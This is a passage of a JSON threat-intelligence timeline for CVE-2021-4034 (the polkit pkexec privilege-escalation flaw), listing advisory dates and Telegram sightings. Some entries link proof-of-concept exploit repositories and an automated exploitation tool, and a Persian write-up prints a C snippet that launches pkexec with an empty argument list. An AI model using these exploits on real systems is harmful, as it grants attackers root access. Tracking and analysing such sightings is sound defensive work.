"value": "2023-10-18T01:15Z", "kind": "other", "label": "Last Modified Date", "source": "gsd \u00b7 GSD-2021-4034", "record": "GSD-2021-4034", "field": "namespaces.nvd.nist.gov.lastModifiedDate"}, {"timestamp": "2023-11-17T02:50:22Z", "date_only": false, "value": "2023-11-17T02:50:22.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/183", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "59272be9-06d5-4d7d-bf26-9983623c81b5", "content": "#ExploitObserverAlert\n\nCVE-2021-4034\n\nDESCRIPTION: Exploit Observer has 525 entries related to CVE-2021-4034. A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 5.9\nNVD-ES: 1.8", "url": "https://t.me/arpsyndicate/183"}, {"timestamp": "2023-11-20T04:09:21Z", "date_only": false, "value": "2023-11-20T04:09:21.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/5879", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "72fb39eb-558e-423d-81a9-7d014a934361", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1a\u63d0\u6743\n\u63cf\u8ff0\uff1aPolkit\u63d0\u6743\u5305 CVE-2021-4034 \uff08\u4f9b\u9700\u8981\u7684\u4eba\u65b9\u4fbf\u4f7f\u7528\nURL\uff1ahttps://github.com/Part01-Pai/Polkit-Permission-promotion-compiled\n\n\u6807\u7b7e\uff1a#\u63d0\u6743", "url": "https://t.me/GithubRedTeam/5879"}, {"timestamp": "2023-11-20T15:43:45Z", "date_only": false, "value": "2023-11-20T15:43:45.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/295", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "6840f9c2-7eae-4821-b2bc-cc0ce08c7a54", "content": "#ExploitObserverAlert\n\nCVE-2021-4034\n\nDESCRIPTION: Exploit Observer has 532 entries related to CVE-2021-4034. A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 5.9\nNVD-ES: 1.8", "url": "https://t.me/arpsyndicate/295"}, {"timestamp": "2023-12-02T01:37:47Z", "date_only": false, "value": "2023-12-02T01:37:47.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/875", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "69d543bd-bc4a-46fa-b1e9-37f9c9a06480", "content": "#ExploitObserverAlert\n\nCVE-2021-4034\n\nDESCRIPTION: Exploit Observer has 532 entries related to CVE-2021-4034. A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 5.9\nNVD-ES: 1.8", "url": "https://t.me/arpsyndicate/875"}, {"timestamp": "2023-12-10T01:07:36Z", "date_only": false, "value": "2023-12-10T01:07:36.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/1589", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "1bee9cea-9696-43a5-ba64-1a2f199cd025", "content": "#ExploitObserverAlert\n\nCVE-2021-4034\n\nDESCRIPTION: Exploit Observer has 535 entries related to CVE-2021-4034. A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 5.9\nNVD-ES: 1.8", "url": "https://t.me/arpsyndicate/1589"}, {"timestamp": "2023-12-13T01:23:11.709Z", "date_only": false, "value": "2023-12-13T01:23:11.709043Z", "kind": "other", "label": "Updated", "source": "gsd \u00b7 GSD-2021-4034", "record": "GSD-2021-4034", "field": "gsd.osvSchema.modified"}, {"timestamp": "2023-12-18T16:37:52Z", "date_only": false, "value": "2023-12-18T16:37:52.000000Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/arpsyndicate/2024", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "fa278449-a416-4902-8847-05bc3d69a4dd", "content": "#ExploitObserverAlert\n\nCVE-2021-4034\n\nDESCRIPTION: Exploit Observer has 535 entries related to CVE-2021-4034. A local privilege escalation vulnerability was found on polkit's pkexec utility. The pkexec application is a setuid tool designed to allow unprivileged users to run commands as privileged users according predefined policies. The current version of pkexec doesn't handle the calling parameters count correctly and ends trying to execute environment variables as commands. An attacker can leverage this by crafting environment variables in such a way it'll induce pkexec to execute arbitrary code. When successfully executed the attack can cause a local privilege escalation given unprivileged users administrative rights on the target machine.\n\nFIRST-EPSS: 0.000460000\nNVD-IS: 5.9\nNVD-ES: 1.8", "url": "https://t.me/arpsyndicate/2024"}, {"timestamp": "2024-01-08T23:00:00Z", "date_only": false, "value": "2024-01-08T23:00:00.000+00:00", "kind": "other", "label": "Advisory revision", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.revision_history.15.date"}, {"timestamp": "2024-01-08T23:00:00Z", "date_only": false, "value": "2024-01-08T23:00:00.000+00:00", "kind": "other", "label": "Updated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.current_release_date"}, {"timestamp": "2024-01-11T02:14:52Z", "date_only": false, "value": "2024-01-11T02:14:52.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/oVcniz68DfbMprQYR7QmucLiyBS8RLgqW32--GZ8nhssCw", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "ea41bf84-4bd8-4129-b9ef-6f9255441028"}, {"timestamp": "2024-02-09T06:40:03Z", "date_only": false, "value": "2024-02-09T06:40:03.000000Z", "kind": "sighting", "label": "Seen", "source": "MISP/22f9f278-2341-4bf2-af91-b31198e4dc11", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "c788c78f-3063-433a-9a98-18ed5fcaf756"}, {"timestamp": "2024-04-24T17:42:10Z", "date_only": false, "value": "2024-04-24T17:42:10.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/EidKnczSSqyjBcQ7sKuQ5Eq9NVHE7CjrCRWQNDH8CB5oRZc", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e42a5eae-8690-4263-bd23-a400b80faaa4"}, {"timestamp": "2024-04-24T17:42:11Z", "date_only": false, "value": "2024-04-24T17:42:11.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/LockBitRaasRansomware/22829", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "4c76747f-7695-42bb-8137-dd29384fe8c9", "content": "Traitor - Exploit Low-Hanging Fruit Automatically\n\n\ud83c\udfa9 Nearly all of GTFOBins\n\ud83c\udfa9 Writeable docker.sock\n\ud83c\udfa9 CVE-2022-0847 (Dirty pipe)\n\ud83c\udfa9 CVE-2021-4034 (pwnkit)\n\ud83c\udfa9 CVE-2021-3560\n\n\nhttps://github.com/liamg/traitor", "url": "https://t.me/LockBitRaasRansomware/22829"}, {"timestamp": "2024-04-25T23:32:31Z", "date_only": false, "value": "2024-04-25T23:32:31.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/MoroccanGh0sts/181", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "3bbe521b-89da-45dc-9eca-e48401ba62db", "content": "A serious vulnerability affecting Linux operating systems has so far been tested on RedHat, Debian Distro's registered under CVE-2021-4034 that allows the user to execute orders for the authority of the system manager \"Root\" \nThe flaw in the exploitation of an error in the distribution of the powers of the PolicyKit system environment policy file \nThe image shows the local exploitation of the gap in the Debian system environment and how to avoid this gap by giving the right powers to the policy file.\n\n\ud83d\udc49 Mitigation Command:- \ud83c\uddf2\ud83c\udde6\u2728\n\u261e\ufe0e\ufe0e\ufe0e sudo chmod 0755 /usr/bin/pkexec \n\n\ud83d\udc49CVE-2021-4034 POC link:-\nhttps://github.com/OxWeb4/CVE-2021-4034-\n\n  #Bl4ckS3curity_Team  \ud83c\uddf2\ud83c\udde6 \ud83d\udc7f", "url": "https://t.me/MoroccanGh0sts/181"}, {"timestamp": "2024-05-17T16:26:16Z", "date_only": false, "value": "2024-05-17T16:26:16.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/linuxtnt/3778", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "936058b4-fd6b-4ad3-9cb5-96de66c9ebf6", "content": "\u0645\u0642\u062f\u0627\u0631 \u0635\u0641\u0631 \u0628\u0631\u0627\u06cc argc \u062f\u0631 \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627\u06cc \u0644\u06cc\u0646\u0648\u06a9\u0633\u06cc. \u0686\u0631\u0627 \u0648 \u0686\u06af\u0648\u0646\u0647\u061f\n\n\u0647\u0645\u0647 \u0686\u06cc\u0632 \u0627\u0632 \u0628\u0631\u0631\u0633\u06cc  CVE-2021-4034 \u0648 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u0645\u062c\u062f\u062f PolKit \u0628\u0631 \u0631\u0648\u06cc Ubuntu 22.04 \u0634\u0631\u0648\u0639 \u0634\u062f! \u062a\u0635\u0645\u06cc\u0645 \u062f\u0627\u0634\u062a\u0645 \u06cc\u06a9 \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 PolKit \u0631\u0648 \u0628\u0627 \u0641\u0639\u0627\u0644 \u06a9\u0631\u062f\u0646 Debug Symbols \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0631\u062f\u0647 \u0648 \u0645\u0631\u0627\u062d\u0644 \u06a9\u0627\u0645\u0644 \u0627\u06cc\u0646 CVE \u0631\u0648 \u062f\u0631 GDB \u0628\u0631\u0631\u0633\u06cc \u06a9\u0646\u0645. \u0628\u0647 \u0635\u0648\u0631\u062a \u062e\u0644\u0627\u0635\u0647 \u0628\u06af\u0645 \u06a9\u0647 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0628\u0627\u06cc\u0646\u0631\u06cc pkexec \u0648\u062c\u0648\u062f \u062f\u0627\u0631\u062f \u0648 \u0628\u0647 \u06a9\u0645\u06a9 \u0622\u0646 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646 LPE \u0627\u0646\u062c\u0627\u0645 \u062f\u0627\u062f. \u06cc\u06a9\u06cc \u0627\u0632 \u0634\u0631\u0627\u06cc\u0637 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0627\u06cc\u0646 \u0627\u0633\u062a \u06a9\u0647 \u062f\u0631 \u0632\u0645\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc pkexec \u0634\u0631\u0637 argc==0 \u0628\u0631\u0642\u0631\u0627\u0631 \u0628\u0627\u0634\u062f \u06a9\u0647 \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0622\u0646 \u0645\u062a\u063a\u06cc\u0631\u0647\u0627\u06cc \u0645\u062d\u0644\u06cc \u062e\u0648\u0627\u0646\u062f\u0647 \u0634\u062f\u0647 \u0648 \u0628\u062a\u0648\u0627\u0646 \u06cc\u06a9 library \u0645\u062e\u0631\u0628 \u0631\u0627 \u0628\u0627\u0631\u06af\u0630\u0627\u0631\u06cc \u0646\u0645\u0648\u062f.\n\n\u0627\u0632 \u0622\u0646\u062c\u0627\u06cc\u06cc \u06a9\u0647 pkexec \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0628\u0631 \u0631\u0648\u06cc Solaris, BSD \u0647\u0645 \u0642\u0627\u0628\u0644 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0633\u062a\u060c \u062f\u0631 \u0645\u0642\u0627\u0644\u0647\u200c\u06cc \u0627\u0635\u0644\u06cc \u0627\u06cc\u0646 CVE \u06a9\u0647 \u062a\u0648\u0633\u0637 Qualys Security \u0645\u0646\u062a\u0634\u0631 \u0634\u062f\u0647 \u0627\u0633\u062a \u0645\u062a\u0646 \u0632\u06cc\u0631 \u0645\u0634\u0627\u0647\u062f\u0647 \u0645\u06cc\u200c\u0634\u0648\u062f \u06a9\u0647 \u0627\u0632 \u0627\u0644\u0632\u0627\u0645 argc==0 \u0628\u0631\u0627\u06cc \u0627\u0645\u06a9\u0627\u0646\u200c\u067e\u0630\u06cc\u0631 \u0628\u0648\u062f\u0646 \u0627\u06cc\u0646 LPE \u062e\u0628\u0631 \u0645\u06cc\u200c\u062f\u0647\u062f.\nOpenBSD is not exploitable, because its kernel refuses to execve() a program if argc is 0\n\n\u067e\u0633 \u0641\u0631\u0636 \u0645\u0646 \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u062f\u0631 \u0646\u0633\u062e\u0647\u200c\u0647\u0627\u06cc \u0627\u062e\u06cc\u0631 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0647\u0645 \u0628\u0627 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 PolKit \u0628\u0627\u06cc\u062f \u0628\u062a\u0648\u0627\u0646 \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0631\u0627 \u062a\u0633\u062a \u06a9\u0631\u062f. \u0627\u06cc\u0646 \u0628\u0648\u062f \u06a9\u0647 \u0628\u0631 \u0631\u0648\u06cc Ubuntu 22.04 \u06cc\u06a9 \u0646\u0633\u062e\u0647\u200c\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631 \u0631\u0627 \u06a9\u0627\u0645\u067e\u0627\u06cc\u0644 \u06a9\u0631\u062f\u0647 \u0648 \u06cc\u06a9 \u06a9\u062f \u0633\u0627\u062f\u0647 \u0628\u0647 \u0635\u0648\u0631\u062a \u0632\u06cc\u0631 \u0646\u0648\u0634\u062a\u0645 \u06a9\u0647 pkexec \u0631\u0627 \u0627\u062c\u0631\u0627 \u06a9\u0631\u062f\u0647 \u0648 argc==0 \u0628\u0631\u0642\u0631\u0627\u0631 \u0628\u0627\u0634\u062f.\n\nvoid main() {\n    char *args[] = { NULL };\n    char *envs[] = {\"SHELL=/bin/bash\", 0};\n    execve(\"pkexec\", args, envs);\n}\n\n\u0628\u0627 \u0627\u062c\u0631\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647 \u0648 \u0632\u062f\u0646 strace \u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f \u06a9\u0647 \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc \u062f\u0631 \u0633\u0637\u062d user \u0637\u0628\u0642 \u0627\u0646\u062a\u0638\u0627\u0631 \u0627\u0646\u062c\u0627\u0645 \u0634\u062f.\nexecve(\"pkexec\", [], 0x7ffe3883b200 /* 1 var */)\n\n\u0648\u0644\u06cc \u062f\u0648 \u062a\u0627 \u0645\u0648\u0631\u062f \u0639\u062c\u06cc\u0628 \u0631\u062e \u062f\u0627\u062f. \u0627\u0648\u0644 \u0627\u06cc\u0646\u06a9\u0647 \u0628\u0631\u0646\u0627\u0645\u0647 \u062f\u0631 gdb \u0628\u0631 \u062e\u0644\u0627\u0641 \u0627\u0646\u062a\u0638\u0627\u0631 \u0628\u0627 argc==1\u200c \u0627\u062c\u0631\u0627 \u0634\u062f\u0647 \u0648 argv[0] \u06a9\u0647 \u0627\u0633\u0645 \u0628\u0631\u0646\u0627\u0645\u0647 \u062f\u0631 \u0622\u0646 \u0642\u0631\u0627\u0631 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f \u0648 \u0637\u0628\u0642 \u0645\u062f\u0644 \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc \u0628\u0627\u06cc\u062f NULL \u0645\u06cc\u200c\u0628\u0648\u062f \u0628\u0631\u0627\u0628\u0631 \u201c\u201d \u0634\u062f\u0647 \u0628\u0648\u062f. \u0645\u0648\u0631\u062f \u062f\u0648\u0645\u06cc \u06a9\u0647 \u0639\u062c\u06cc\u0628 \u0628\u0648\u062f \u067e\u06cc\u0627\u0645 \u0632\u06cc\u0631 \u062f\u0631 dmesg \u0628\u0648\u062f.\nprocess 'exploit' launched 'pkexec' with NULL argv: empty string added\n\n\u0628\u0627 \u0631\u0633\u06cc\u062f\u0646 \u0628\u0647 \u0627\u06cc\u0646 \u0645\u0631\u062d\u0644\u0647 \u0628\u0647 \u0633\u0631\u0627\u063a Ubuntu 20.04 \u0631\u0641\u062a\u0645 \u0648 \u0647\u0645\u06cc\u0646 \u06a9\u062f \u0631\u0627 \u0628\u0631 \u0631\u0648\u06cc \u0622\u0646 \u0627\u062c\u0631\u0627 \u06a9\u0631\u062f\u0645 \u06a9\u0647 \u0647\u0645\u0647 \u0686\u06cc\u0632 \u0637\u0628\u0642 \u0627\u0646\u062a\u0638\u0627\u0631 \u0631\u062e \u062f\u0627\u062f\u0647 \u0648 \u062f\u0631 gdb \u0628\u0627 \u0631\u0633\u06cc\u062f\u0646 \u0628\u0647 main \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u06cc pkexec \u0645\u0642\u062f\u0627\u0631 argc==0 \u0628\u0631\u0642\u0631\u0627\u0631 \u0628\u0648\u062f\u0647 \u0648 \u0627\u0645\u06a9\u0627\u0646 \u062a\u0633\u062a CVE \u0648\u062c\u0648\u062f \u062f\u0627\u0634\u062a. \u0627\u06cc\u0646\u062c\u0627 \u0648\u0627\u0636\u062d \u0628\u0648\u062f \u06a9\u0647 \u062f\u0631 \u06a9\u0631\u0646\u0644\u200c\u0647\u0627\u06cc \u062c\u062f\u06cc\u062f \u0644\u06cc\u0646\u0648\u06a9\u0633 \u062f\u0631 \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc \u0633\u06cc\u0633\u062a\u0645\u06cc execve \u062a\u063a\u06cc\u06cc\u0631\u0627\u062a\u06cc \u0627\u0639\u0645\u0627\u0644 \u0634\u062f\u0647 \u0627\u0633\u062a \u06a9\u0647 \u062c\u0644\u0648\u06cc \u0627\u062c\u0631\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0628\u0627 argc==0 \u06af\u0631\u0641\u062a\u0647 \u0634\u0648\u062f. \u0627\u06cc\u0646\u062c\u0627 \u062f\u06cc\u06af\u0647 \u0644\u0627\u0632\u0645 \u0628\u0648\u062f \u06a9\u062f \u06a9\u0631\u0646\u0644 \u0686\u06a9 \u0634\u0648\u062f!\n\n\u0628\u0627 \u0631\u0641\u062a\u0646 \u0628\u0647 github\u200c \u0648 \u0628\u0631\u0631\u0633\u06cc \u0641\u0627\u06cc\u0644 fs/exec.c \u06a9\u0631\u0646\u0644 \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0645\u0634\u0627\u0647\u062f\u0647 \u0634\u062f \u06a9\u0647 \u062f\u0631 \u062a\u0627\u0628\u0639 \u0627\u062c\u0631\u0627\u06cc \u0641\u0631\u0627\u062e\u0648\u0627\u0646\u06cc \u0633\u06cc\u0633\u062a\u0645\u06cc execve \u06a9\u062f \u0632\u06cc\u0631 \u062f\u0631 March 2022 \u0627\u0636\u0627\u0641\u0647 \u0634\u062f\u0647 \u06a9\u0647 \u062c\u0644\u0648\u06cc \u0627\u062c\u0631\u0627\u06cc \u0628\u0631\u0646\u0627\u0645\u0647\u200c\u0647\u0627 \u0628\u0627 argc==0 \u0631\u0627 \u0645\u06cc\u200c\u06af\u06cc\u0631\u062f.\n\n/*\n * When argv is empty, add an empty string (\"\") as argv[0] to\n * ensure confused userspace programs that start processing\n* from argv[1] won't end up walking envp. See also\n* bprm_stack_limits().\n*/\nif (bprm->argc == 0) {\n retval = copy_string_kernel(\"\", bprm);\n if (retval < 0)\n  goto out_free;\n bprm->argc = 1;\n}\n\n\u067e\u0633 \u0627\u0632 \u0627\u06cc\u0646 \u0628\u0647 \u0628\u0639\u062f \u0639\u0644\u0627\u0648\u0647 \u0628\u0631 OpenBSD \u0628\u0631 \u0631\u0648\u06cc \u0644\u06cc\u0646\u0648\u06a9\u0633 \u0646\u06cc\u0632 \u0627\u0645\u06a9\u0627\u0646 \u0627\u062c\u0631\u0627\u06cc \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc\u200c\u0647\u0627\u06cc \u0627\u06cc\u0646 \u0645\u062f\u0644\u06cc \u0648\u062c\u0648\u062f \u0646\u062e\u0648\u0627\u0647\u062f \u062f\u0627\u0634\u062a! :-D\n\u067e.\u0646: \u062f\u0631 \u0622\u06cc\u0646\u062f\u0647\u200c \u06cc\u06a9 \u0648\u06cc\u062f\u0626\u0648 \u0627\u0632 \u0634\u06cc\u0648\u0647\u200c\u06cc \u06a9\u0627\u0645\u0644 \u0627\u062c\u0631\u0627\u06cc \u0627\u06cc\u0646 CVE \u0645\u0646\u062a\u0634\u0631 \u0645\u06cc\u200c\u06a9\u0646\u0645.\n\n#linux #kernel #CVE #PolKit #pkexec #execve", "url": "https://t.me/linuxtnt/3778"}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Advisory revision", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:11780-1", "record": "OPENSUSE-SU-2024:11780-1", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Date", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:11780-1", "record": "OPENSUSE-SU-2024:11780-1", "field": "vulnerabilities.0.threats.0.date"}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "other", "label": "Document generated", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:11780-1", "record": "OPENSUSE-SU-2024:11780-1", "field": "document.tracking.generator.date"}, {"timestamp": "2024-06-15T00:00:00Z", "date_only": false, "value": "2024-06-15T00:00:00Z", "kind": "milestone", "label": "Published", "source": "csaf_opensuse \u00b7 OPENSUSE-SU-2024:11780-1", "record": "OPENSUSE-SU-2024:11780-1", "field": "document.tracking.initial_release_date"}, {"timestamp": "2024-08-15T17:35:29.086Z", "date_only": false, "value": "2024-08-15T17:35:29.086+00:00", "kind": "other", "label": "Document generated", "source": "csaf_certbund \u00b7 WID-SEC-W-2022-1483", "record": "WID-SEC-W-2022-1483", "field": "document.tracking.generator.date"}, {"timestamp": "2024-08-21T00:00:00Z", "date_only": false, "value": "2024-08-21T00:00:00+00:00", "kind": "other", "label": "Date", "source": "csaf_redhat \u00b7 RHSA-2022:0540", "record": "RHSA-2022:0540", "field": "vulnerabilities.3.threats.0.date"}, {"timestamp": "2024-08-22T19:40:05Z", "date_only": false, "value": "2024-08-22T19:40:05.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/true_secator/6124", "record": "CVE-2021-4034", "field": "creation_timestamp", "uuid": "e1bee12a-0d26-469e-a2e9-fc57b5ff6305", "content": "\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0438\u0437 \u041b\u0430\u0431\u043e\u0440\u0430\u0442\u043e\u0440\u0438\u0438 \u041a\u0430\u0441\u043f\u0435\u0440\u0441\u043a\u043e\u0433\u043e \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0443 \u043f\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430\u043c \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c \u0437\u0430 \u0432\u0442\u043e\u0440\u043e\u0439 \u043a\u0432\u0430\u0440\u0442\u0430\u043b 2024 \u0433\u043e\u0434\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043d\u0430\u0441\u044b\u0449\u0435\u043d\u043d\u044b\u043c \u0441 \u0442\u043e\u0447\u043a\u0438 \u0437\u0440\u0435\u043d\u0438\u044f \u043d\u043e\u0432\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u0438 \u043c\u0435\u0442\u043e\u0434\u043e\u0432 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0445 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0412 \u043d\u043e\u0432\u043e\u043c \u043e\u0442\u0447\u0435\u0442\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0430 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0439 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0434\u043b\u044f \u0430\u0442\u0430\u043a \u043d\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0440\u0435\u0437\u044b \u043f\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c.\n\n\u041e\u0431\u0449\u0435\u0435 \u0447\u0438\u0441\u043b\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u0438 \u0437\u0430 \u0430\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u044b\u0439 \u043f\u0435\u0440\u0438\u043e\u0434 \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0433\u043e\u0434\u0430, \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044f \u0434\u0438\u043d\u0430\u043c\u0438\u043a\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430.\n\n\u0414\u043e\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0441 PoC \u0438 \u043e\u0442\u043d\u043e\u0441\u044f\u0449\u0438\u0445\u0441\u044f \u043a \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u043d\u0435\u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0441\u043d\u0438\u0437\u0438\u043b\u0430\u0441\u044c \u043e\u0442\u043d\u043e\u0441\u0438\u0442\u0435\u043b\u044c\u043d\u043e 2023 \u0433\u043e\u0434\u0430. \u041f\u0440\u0438 \u044d\u0442\u043e\u043c \u043f\u043e \u0442\u0438\u043f\u0443 \u043f\u043e\u0434\u0430\u0432\u043b\u044f\u044e\u0449\u0435\u0435 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043e\u0442\u0441\u0442\u043e\u044f\u0442\u0441\u044f \u043a 